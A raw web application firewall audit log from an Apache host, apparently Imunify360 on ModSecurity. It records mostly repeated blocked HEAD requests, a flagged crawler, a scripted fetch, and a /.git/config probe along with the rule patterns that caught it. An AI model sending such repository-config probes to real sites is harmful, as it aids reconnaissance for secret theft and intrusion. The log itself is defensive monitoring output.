User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--d4ca6d16-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--d4ca6d16-E--

--d4ca6d16-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274675449163 7667 (- - -)
Stopwatch2: 1789274675449163 7667; combined=5990, p1=414, p2=4992, p3=104, p4=8, p5=472, sr=168, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--d4ca6d16-Z--

--3e094158-A--
[13/Sep/2026:07:44:41.282524 +0300] aqYqOTTJ6xTvcJoem7f2xgAAAEo 151.243.174.112 41420 127.0.0.1 7081
--3e094158-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.112
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--3e094158-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--3e094158-E--

--3e094158-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274681276946 5625 (- - -)
Stopwatch2: 1789274681276946 5625; combined=4073, p1=260, p2=3437, p3=63, p4=7, p5=306, sr=99, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--3e094158-Z--

--18514a25-A--
[13/Sep/2026:07:44:43.783881 +0300] aqYqO2M7dE9KgIIOpQhjLgAAAMg 151.243.174.96 41448 127.0.0.1 7081
--18514a25-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.96
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--18514a25-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--18514a25-E--

--18514a25-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274683778150 5771 (- - -)
Stopwatch2: 1789274683778150 5771; combined=4405, p1=240, p2=3744, p3=76, p4=7, p5=338, sr=100, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--18514a25-Z--

--b2d63136-A--
[13/Sep/2026:07:44:43.889425 +0300] aqYqOysVWymXUono-eRRhQAAAAw 95.134.102.76 41456 127.0.0.1 7081
--b2d63136-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.76
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--b2d63136-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--b2d63136-E--

--b2d63136-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274683882162 7317 (- - -)
Stopwatch2: 1789274683882162 7317; combined=5323, p1=298, p2=4601, p3=88, p4=8, p5=328, sr=124, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--b2d63136-Z--

--95875758-A--
[13/Sep/2026:07:44:43.989886 +0300] aqYqO2M7dE9KgIIOpQhjLwAAAM4 95.134.102.117 41470 127.0.0.1 7081
--95875758-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.117
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--95875758-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--95875758-E--

--95875758-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274683984364 5576 (- - -)
Stopwatch2: 1789274683984364 5576; combined=4168, p1=275, p2=3479, p3=72, p4=8, p5=333, sr=92, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--95875758-Z--

--6e7fe96b-A--
[13/Sep/2026:07:44:46.180977 +0300] aqYqPkwu1RSkptiiNIXwaQAAAI4 95.134.102.244 39198 127.0.0.1 7081
--6e7fe96b-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.244
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--6e7fe96b-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--6e7fe96b-E--

--6e7fe96b-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274686173658 7370 (- - -)
Stopwatch2: 1789274686173658 7370; combined=5641, p1=265, p2=4881, p3=83, p4=8, p5=404, sr=115, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--6e7fe96b-Z--

--e77b2c6d-A--
[13/Sep/2026:07:44:46.543828 +0300] aqYqPisVWymXUono-eRRhwAAAA8 95.134.102.135 39208 127.0.0.1 7081
--e77b2c6d-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.135
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--e77b2c6d-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--e77b2c6d-E--

--e77b2c6d-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274686538342 5525 (- - -)
Stopwatch2: 1789274686538342 5525; combined=4107, p1=272, p2=3426, p3=59, p4=7, p5=342, sr=105, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--e77b2c6d-Z--

--eab1562a-A--
[13/Sep/2026:07:44:46.900513 +0300] aqYqPmM7dE9KgIIOpQhjMQAAAMM 151.243.174.27 39214 127.0.0.1 7081
--eab1562a-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.27
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--eab1562a-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--eab1562a-E--

--eab1562a-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274686894968 5595 (- - -)
Stopwatch2: 1789274686894968 5595; combined=4121, p1=323, p2=3475, p3=60, p4=6, p5=257, sr=155, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--eab1562a-Z--

--b11c9973-A--
[13/Sep/2026:07:44:55.150660 +0300] aqYqR2M7dE9KgIIOpQhjOAAAANA 95.134.102.241 39346 127.0.0.1 7081
--b11c9973-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.241
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--b11c9973-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--b11c9973-E--

--b11c9973-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274695143221 7495 (- - -)
Stopwatch2: 1789274695143221 7495; combined=5497, p1=276, p2=4824, p3=88, p4=8, p5=301, sr=123, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--b11c9973-Z--

--fb08cd5d-A--
[13/Sep/2026:07:44:55.257268 +0300] aqYqRzTJ6xTvcJoem7f2yQAAAEQ 95.134.102.178 39360 127.0.0.1 7081
--fb08cd5d-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.178
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--fb08cd5d-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--fb08cd5d-E--

--fb08cd5d-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274695249827 7479 (- - -)
Stopwatch2: 1789274695249827 7479; combined=5626, p1=275, p2=5011, p3=90, p4=7, p5=242, sr=119, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--fb08cd5d-Z--

--7daf4b45-A--
[13/Sep/2026:07:44:55.601959 +0300] aqYqR2M7dE9KgIIOpQhjOQAAAME 95.134.102.144 35070 127.0.0.1 7081
--7daf4b45-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.144
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--7daf4b45-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--7daf4b45-E--

--7daf4b45-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274695588756 13260 (- - -)
Stopwatch2: 1789274695588756 13260; combined=8421, p1=1287, p2=6685, p3=104, p4=9, p5=336, sr=161, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--7daf4b45-Z--

--59b1a216-A--
[13/Sep/2026:07:46:51.011852 +0300] aqYqumM7dE9KgIIOpQhjYQAAAMY 109.206.120.180 53466 127.0.0.1 7081
--59b1a216-B--
GET / HTTP/1.1
Host: www.behappydigital.com
X-Real-IP: 109.206.120.180
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: KBCnetContactBot/1.0 (polite contact refresh; 1 request / few seconds)
Accept: text/html,application/xhtml+xml;q=0.9,*/*;q=0.1
Accept-Language: en,sr,de,fr;q=0.8

--59b1a216-F--
HTTP/1.1 200 OK
X-Powered-By: PHP/7.3.33
Cache-Control: max-age=290304000, public
Connection: keep-alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--59b1a216-E--

--59b1a216-H--
Message: Pattern match "(?i:(?:^(?:microsoft url|user-Agent|www\\.weblogs\\.com|(?:jakart|vi)a|(google|i{0,1}explorer{0,1}\\.exe|(ms){0,1}ie( [0-9.]{1,}){0,1} {0,1}(compatible( browser){0,1}){0,1})$)|\\bdatacha0s\\b|; widows|\\\\r|a(?: href=|d(?:sarobot|vanced email extractor ..." at REQUEST_HEADERS:User-Agent. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "32"] [id "77210831"] [msg "IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:KBCnetContactBot/1.0 (polite contact refresh; 1 request / few seconds)||T:APACHE||"] [severity "NOTICE"] [tag "service_gen"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789274810990367 21557 (- - -)
Stopwatch2: 1789274810990367 21557; combined=4168, p1=328, p2=3693, p3=98, p4=8, p5=41, sr=146, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--59b1a216-Z--

--319d1827-A--
[13/Sep/2026:07:56:30.349155 +0300] aqYs-mM7dE9KgIIOpQhjvgAAANg 152.42.163.30 48018 127.0.0.1 7081
--319d1827-B--
GET /license.txt HTTP/1.1
Host: sabotagerum.com
X-Real-IP: 152.42.163.30
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.27.1

--319d1827-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--319d1827-H--
Message: Warning. String match "python-requests" at REQUEST_HEADERS:User-Agent. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "407"] [id "77316748"] [msg "IM360 WAF: User-Agent from scripting found||T:APACHE||MV:python-requests/2.27.1||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "python-requests" at REQUEST_HEADERS:User-Agent. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "407"] [id "77316748"] [msg "IM360 WAF: User-Agent from scripting found||T:APACHE||MV:python-requests/2.27.1||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "sabotagerum.com"] [uri "/license.txt"] [unique_id "aqYs-mM7dE9KgIIOpQhjvgAAANg"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/sabotagerum.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789275390246149 103062 (- - -)
Stopwatch2: 1789275390246149 103062; combined=4502, p1=242, p2=4200, p3=0, p4=0, p5=60, sr=111, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--319d1827-Z--

--67e9174e-A--
[13/Sep/2026:07:59:47.765998 +0300] aqYtwGM7dE9KgIIOpQhj1wAAANc 216.81.200.63 33758 127.0.0.1 7081
--67e9174e-B--
GET /.git/config HTTP/1.1
Host: dev.chania24.taxi
X-Real-IP: 216.81.200.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.16) Gecko/20080716 (Gentoo) Galeon/2.0.6
Accept-Charset: utf-8
Accept-Encoding: gzip

--67e9174e-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/7.4.33
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Link: <https://dev.chania24.taxi/wp-json/>; rel="https://api.w.org/"
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--67e9174e-H--
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "dev.chania24.taxi"] [uri "/.git/config"] [unique_id "aqYtwGM7dE9KgIIOpQhj1wAAANc"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "dev.chania24.taxi"] [uri "/.git/config"] [unique_id "aqYtwGM7dE9KgIIOpQhj1wAAANc"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "dev.chania24.taxi"] [uri "/.git/config"] [unique_id "aqYtwGM7dE9KgIIOpQhj1wAAANc"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/dev.chania24.taxi/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789275584493397 3272655 (- - -)
Stopwatch2: 1789275584493397 3272655; combined=39650, p1=363, p2=39211, p3=0, p4=0, p5=76, sr=173, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--67e9174e-Z--

--02a75c08-A--
[13/Sep/2026:08:02:30.940606 +0300] aqYuZisVWymXUono-eRRtAAAAAQ 95.134.102.36 45696 127.0.0.1 7081
--02a75c08-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.36
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--02a75c08-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--02a75c08-E--

--02a75c08-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789275750933531 7169 (- - -)
Stopwatch2: 1789275750933531 7169; combined=4394, p1=264, p2=3730, p3=101, p4=8, p5=291, sr=101, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--02a75c08-Z--

--f8bfb51d-A--
[13/Sep/2026:08:02:32.109640 +0300] aqYuaGM7dE9KgIIOpQhj-wAAAMo 95.134.102.178 45712 127.0.0.1 7081
--f8bfb51d-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.178
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--f8bfb51d-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--f8bfb51d-E--

--f8bfb51d-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789275752103403 6290 (- - -)
Stopwatch2: 1789275752103403 6290; combined=4712, p1=327, p2=4033, p3=65, p4=6, p5=280, sr=190, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--f8bfb51d-Z--

--72b64d78-A--
[13/Sep/2026:08:02:32.786044 +0300] aqYuaCsVWymXUono-eRRtQAAAA0 151.243.174.176 45726 127.0.0.1 7081
--72b64d78-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.176
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--72b64d78-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--72b64d78-E--

--72b64d78-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789275752777074 9030 (- - -)
Stopwatch2: 1789275752777074 9030; combined=6264, p1=908, p2=4902, p3=81, p4=8, p5=365, sr=745, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--72b64d78-Z--

--4281f17c-A--
[13/Sep/2026:08:04:18.418562 +0300] aqYu0mM7dE9KgIIOpQhkLwAAAME 46.203.158.147 51432 127.0.0.1 7081
--4281f17c-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 46.203.158.147
X-Accel-Internal: /internal-nginx-static-location
